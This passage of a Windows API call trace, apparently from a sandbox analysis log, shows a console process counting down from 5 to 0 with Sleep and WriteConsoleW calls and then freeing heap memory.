(dwMilliseconds=0x64) [0120.582] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0120.585] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f218 [0120.585] Sleep (dwMilliseconds=0x64) [0120.725] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0120.730] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f218 [0120.730] Sleep (dwMilliseconds=0x64) [0120.832] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0120.836] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f218 [0120.836] Sleep (dwMilliseconds=0x64) [0120.965] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0120.977] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f218 [0120.977] Sleep (dwMilliseconds=0x64) [0121.081] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0121.118] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f218 [0121.118] Sleep (dwMilliseconds=0x64) [0121.331] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0121.338] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f219 [0121.338] _vsnwprintf (in: _Buffer=0x40ffd24, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0x40ffa98 | out: _Buffer="\x085") returned 2 [0121.338] SetConsoleCursorPosition (hConsoleOutput=0x3c, dwCursorPosition=0x3000d) returned 1 [0121.348] __iob_func () returned 0x75731208 [0121.348] _fileno (_File=0x75731228) returned 1 [0121.348] _errno () returned 0x5de05b0 [0121.348] _get_osfhandle (_FileHandle=1) returned 0x3c [0121.348] _errno () returned 0x5de05b0 [0121.348] GetFileType (hFile=0x3c) returned 0x2 [0121.348] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0121.348] GetFileType (hFile=0x3c) returned 0x2 [0121.348] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x40ffa74 | out: lpMode=0x40ffa74) returned 1 [0121.351] __iob_func () returned 0x75731208 [0121.351] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0121.351] lstrlenW (lpString="\x085") returned 2 [0121.351] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0x40ffd24*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x40ffa98, lpReserved=0x0 | out: lpBuffer=0x40ffd24*, lpNumberOfCharsWritten=0x40ffa98*=0x2) returned 1 [0121.361] Sleep (dwMilliseconds=0x64) [0121.540] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0121.543] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f219 [0121.543] Sleep (dwMilliseconds=0x64) [0121.650] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0121.668] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f219 [0121.669] Sleep (dwMilliseconds=0x64) [0121.783] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0121.801] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f219 [0121.801] Sleep (dwMilliseconds=0x64) [0121.917] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0121.919] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f219 [0121.919] Sleep (dwMilliseconds=0x64) [0122.022] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0122.035] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f219 [0122.035] Sleep (dwMilliseconds=0x64) [0122.154] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0122.157] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f219 [0122.157] Sleep (dwMilliseconds=0x64) [0122.266] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0122.269] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21a [0122.269] _vsnwprintf (in: _Buffer=0x40ffd24, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0x40ffa98 | out: _Buffer="\x084") returned 2 [0122.269] SetConsoleCursorPosition (hConsoleOutput=0x3c, dwCursorPosition=0x3000d) returned 1 [0122.276] __iob_func () returned 0x75731208 [0122.276] _fileno (_File=0x75731228) returned 1 [0122.276] _errno () returned 0x5de05b0 [0122.276] _get_osfhandle (_FileHandle=1) returned 0x3c [0122.276] _errno () returned 0x5de05b0 [0122.276] GetFileType (hFile=0x3c) returned 0x2 [0122.276] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0122.276] GetFileType (hFile=0x3c) returned 0x2 [0122.276] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x40ffa74 | out: lpMode=0x40ffa74) returned 1 [0122.279] __iob_func () returned 0x75731208 [0122.279] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0122.279] lstrlenW (lpString="\x084") returned 2 [0122.279] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0x40ffd24*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x40ffa98, lpReserved=0x0 | out: lpBuffer=0x40ffd24*, lpNumberOfCharsWritten=0x40ffa98*=0x2) returned 1 [0122.329] Sleep (dwMilliseconds=0x64) [0122.453] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0122.457] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21a [0122.457] Sleep (dwMilliseconds=0x64) [0122.631] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0122.634] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21a [0122.634] Sleep (dwMilliseconds=0x64) [0122.762] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0122.769] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21a [0122.769] Sleep (dwMilliseconds=0x64) [0122.871] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0122.877] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21a [0122.877] Sleep (dwMilliseconds=0x64) [0123.008] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0123.012] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21a [0123.013] Sleep (dwMilliseconds=0x64) [0123.152] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0123.155] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21a [0123.155] Sleep (dwMilliseconds=0x64) [0123.272] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0123.279] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21b [0123.279] _vsnwprintf (in: _Buffer=0x40ffd24, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0x40ffa98 | out: _Buffer="\x083") returned 2 [0123.279] SetConsoleCursorPosition (hConsoleOutput=0x3c, dwCursorPosition=0x3000d) returned 1 [0123.280] __iob_func () returned 0x75731208 [0123.280] _fileno (_File=0x75731228) returned 1 [0123.280] _errno () returned 0x5de05b0 [0123.280] _get_osfhandle (_FileHandle=1) returned 0x3c [0123.280] _errno () returned 0x5de05b0 [0123.281] GetFileType (hFile=0x3c) returned 0x2 [0123.281] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0123.281] GetFileType (hFile=0x3c) returned 0x2 [0123.281] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x40ffa74 | out: lpMode=0x40ffa74) returned 1 [0123.282] __iob_func () returned 0x75731208 [0123.282] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0123.282] lstrlenW (lpString="\x083") returned 2 [0123.282] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0x40ffd24*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x40ffa98, lpReserved=0x0 | out: lpBuffer=0x40ffd24*, lpNumberOfCharsWritten=0x40ffa98*=0x2) returned 1 [0123.329] Sleep (dwMilliseconds=0x64) [0123.431] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0123.433] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21b [0123.433] Sleep (dwMilliseconds=0x64) [0123.544] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0123.549] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21b [0123.549] Sleep (dwMilliseconds=0x64) [0123.686] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0123.740] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21b [0123.740] Sleep (dwMilliseconds=0x64) [0123.888] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0123.892] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21b [0123.892] Sleep (dwMilliseconds=0x64) [0124.069] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0124.123] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21b [0124.123] Sleep (dwMilliseconds=0x64) [0124.230] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0124.318] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21c [0124.318] _vsnwprintf (in: _Buffer=0x40ffd24, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0x40ffa98 | out: _Buffer="\x082") returned 2 [0124.318] SetConsoleCursorPosition (hConsoleOutput=0x3c, dwCursorPosition=0x3000d) returned 1 [0124.465] __iob_func () returned 0x75731208 [0124.465] _fileno (_File=0x75731228) returned 1 [0124.465] _errno () returned 0x5de05b0 [0124.465] _get_osfhandle (_FileHandle=1) returned 0x3c [0124.465] _errno () returned 0x5de05b0 [0124.465] GetFileType (hFile=0x3c) returned 0x2 [0124.465] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0124.465] GetFileType (hFile=0x3c) returned 0x2 [0124.465] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x40ffa74 | out: lpMode=0x40ffa74) returned 1 [0124.474] __iob_func () returned 0x75731208 [0124.474] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0124.474] lstrlenW (lpString="\x082") returned 2 [0124.474] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0x40ffd24*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x40ffa98, lpReserved=0x0 | out: lpBuffer=0x40ffd24*, lpNumberOfCharsWritten=0x40ffa98*=0x2) returned 1 [0124.526] Sleep (dwMilliseconds=0x64) [0124.627] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0124.628] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21c [0124.628] Sleep (dwMilliseconds=0x64) [0124.730] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0124.732] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21c [0124.732] Sleep (dwMilliseconds=0x64) [0124.873] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0124.880] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21c [0124.880] Sleep (dwMilliseconds=0x64) [0124.981] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0124.983] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21c [0124.983] Sleep (dwMilliseconds=0x64) [0125.085] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0125.092] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21c [0125.092] Sleep (dwMilliseconds=0x64) [0125.266] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0125.283] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21d [0125.283] _vsnwprintf (in: _Buffer=0x40ffd24, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0x40ffa98 | out: _Buffer="\x081") returned 2 [0125.283] SetConsoleCursorPosition (hConsoleOutput=0x3c, dwCursorPosition=0x3000d) returned 1 [0125.287] __iob_func () returned 0x75731208 [0125.287] _fileno (_File=0x75731228) returned 1 [0125.287] _errno () returned 0x5de05b0 [0125.287] _get_osfhandle (_FileHandle=1) returned 0x3c [0125.287] _errno () returned 0x5de05b0 [0125.287] GetFileType (hFile=0x3c) returned 0x2 [0125.288] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0125.288] GetFileType (hFile=0x3c) returned 0x2 [0125.288] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x40ffa74 | out: lpMode=0x40ffa74) returned 1 [0125.331] __iob_func () returned 0x75731208 [0125.331] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0125.331] lstrlenW (lpString="\x081") returned 2 [0125.331] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0x40ffd24*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x40ffa98, lpReserved=0x0 | out: lpBuffer=0x40ffd24*, lpNumberOfCharsWritten=0x40ffa98*=0x2) returned 1 [0125.356] Sleep (dwMilliseconds=0x64) [0125.456] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0125.459] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21d [0125.459] Sleep (dwMilliseconds=0x64) [0125.579] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0125.585] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21d [0125.585] Sleep (dwMilliseconds=0x64) [0125.704] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0125.722] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21d [0125.722] Sleep (dwMilliseconds=0x64) [0125.857] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0125.860] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21d [0125.860] Sleep (dwMilliseconds=0x64) [0125.966] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0126.023] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21d [0126.023] Sleep (dwMilliseconds=0x64) [0126.133] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0126.135] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21d [0126.136] Sleep (dwMilliseconds=0x64) [0126.291] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0126.295] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f21e [0126.295] _vsnwprintf (in: _Buffer=0x40ffd24, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0x40ffa98 | out: _Buffer="\x080") returned 2 [0126.295] SetConsoleCursorPosition (hConsoleOutput=0x3c, dwCursorPosition=0x3000d) returned 1 [0126.300] __iob_func () returned 0x75731208 [0126.300] _fileno (_File=0x75731228) returned 1 [0126.300] _errno () returned 0x5de05b0 [0126.300] _get_osfhandle (_FileHandle=1) returned 0x3c [0126.301] _errno () returned 0x5de05b0 [0126.301] GetFileType (hFile=0x3c) returned 0x2 [0126.301] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0126.301] GetFileType (hFile=0x3c) returned 0x2 [0126.301] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x40ffa74 | out: lpMode=0x40ffa74) returned 1 [0126.305] __iob_func () returned 0x75731208 [0126.305] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0126.305] lstrlenW (lpString="\x080") returned 2 [0126.305] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0x40ffd24*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x40ffa98, lpReserved=0x0 | out: lpBuffer=0x40ffd24*, lpNumberOfCharsWritten=0x40ffa98*=0x2) returned 1 [0126.312] Sleep (dwMilliseconds=0x64) [0126.415] __iob_func () returned 0x75731208 [0126.415] _fileno (_File=0x75731228) returned 1 [0126.415] _errno () returned 0x5de05b0 [0126.415] _get_osfhandle (_FileHandle=1) returned 0x3c [0126.415] _errno () returned 0x5de05b0 [0126.415] GetFileType (hFile=0x3c) returned 0x2 [0126.416] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0126.416] GetFileType (hFile=0x3c) returned 0x2 [0126.416] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x40ffa74 | out: lpMode=0x40ffa74) returned 1 [0126.418] __iob_func () returned 0x75731208 [0126.418] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0126.418] lstrlenW (lpString="\n") returned 1 [0126.418] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0xb106c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x40ffa98, lpReserved=0x0 | out: lpBuffer=0xb106c*, lpNumberOfCharsWritten=0x40ffa98*=0x1) returned 1 [0126.422] GetProcessHeap () returned 0x44d0000 [0126.422] GetProcessHeap () returned 0x44d0000 [0126.422] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44de148) returned 1 [0126.422] GetProcessHeap () returned 0x44d0000 [0126.422] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44de148) returned 0xa0 [0126.422] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44de148 | out: hHeap=0x44d0000) returned 1 [0126.422] GetProcessHeap () returned 0x44d0000 [0126.422] GetProcessHeap () returned 0x44d0000 [0126.422] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dd0e8) returned 1 [0126.422] GetProcessHeap () returned 0x44d0000 [0126.422] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dd0e8) returned 0x10 [0126.422] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dd0e8 | out: hHeap=0x44d0000) returned 1 [0126.422] GetProcessHeap () returned 0x44d0000 [0126.422] GetProcessHeap () returned 0x44d0000 [0126.422] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc358) returned 1 [0126.422] GetProcessHeap () returned 0x44d0000 [0126.422] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dc358) returned 0x14 [0126.422] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc358 | out: hHeap=0x44d0000) returned 1 [0126.422] GetProcessHeap () returned 0x44d0000 [0126.422] GetProcessHeap () returned 0x44d0000 [0126.422] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d7c20) returned 1 [0126.423] GetProcessHeap () returned 0x44d0000 [0126.423] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44d7c20) returned 0x4 [0126.423] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d7c20 | out: hHeap=0x44d0000) returned 1 [0126.423] GetProcessHeap () returned 0x44d0000 [0126.423] GetProcessHeap () returned 0x44d0000 [0126.423] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dd1a8) returned 1 [0126.423] GetProcessHeap () returned 0x44d0000 [0126.423] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dd1a8) returned 0x10 [0126.423] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dd1a8 | out: hHeap=0x44d0000) returned 1 [0126.423] GetProcessHeap () returned 0x44d0000 [0126.423] GetProcessHeap () returned 0x44d0000 [0126.423] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc4f8) returned 1 [0126.423] GetProcessHeap () returned 0x44d0000 [0126.423] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dc4f8) returned 0x14 [0126.423] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc4f8 | out: hHeap=0x44d0000) returned 1 [0126.423] GetProcessHeap () returned 0x44d0000 [0126.423] GetProcessHeap () returned 0x44d0000 [0126.423] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc538) returned 1 [0126.423] GetProcessHeap () returned 0x44d0000 [0126.423] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dc538) returned 0x208 [0126.423] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc538 | out: hHeap=0x44d0000) returned 1 [0126.423] GetProcessHeap () returned 0x44d0000 [0126.423] GetProcessHeap () returned 0x44d0000 [0126.423] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d76e0) returned 1 [0126.423] GetProcessHeap () returned 0x44d0000 [0126.423] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44d76e0) returned 0x10 [0126.423] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d76e0 | out: hHeap=0x44d0000) returned 1 [0126.423] GetProcessHeap () returned 0x44d0000 [0126.423] GetProcessHeap () returned 0x44d0000 [0126.424] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc2d8) returned 1 [0126.424] GetProcessHeap () returned 0x44d0000 [0126.424] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dc2d8) returned 0x14 [0126.424] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc2d8 | out: hHeap=0x44d0000) returned 1 [0126.424] GetProcessHeap () returned 0x44d0000 [0126.424] GetProcessHeap () returned 0x44d0000 [0126.424] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44de408) returned 1 [0126.424] GetProcessHeap () returned 0x44d0000 [0126.424] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44de408) returned 0x200 [0126.424] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44de408 | out: hHeap=0x44d0000) returned 1 [0126.424] GetProcessHeap () returned 0x44d0000 [0126.424] GetProcessHeap () returned 0x44d0000 [0126.424] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dd130) returned 1 [0126.424] GetProcessHeap () returned 0x44d0000 [0126.424] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dd130) returned 0x10 [0126.424] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dd130 | out: hHeap=0x44d0000) returned 1 [0126.424] GetProcessHeap () returned 0x44d0000 [0126.424] GetProcessHeap () returned 0x44d0000 [0126.424] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc238) returned 1 [0126.424] GetProcessHeap () returned 0x44d0000 [0126.424] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dc238) returned 0x14 [0126.424] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc238 | out: hHeap=0x44d0000) returned 1 [0126.424] GetProcessHeap () returned 0x44d0000 [0126.424] GetProcessHeap () returned 0x44d0000 [0126.424] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dd100) returned 1 [0126.424] GetProcessHeap () returned 0x44d0000 [0126.424] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dd100) returned 0xa 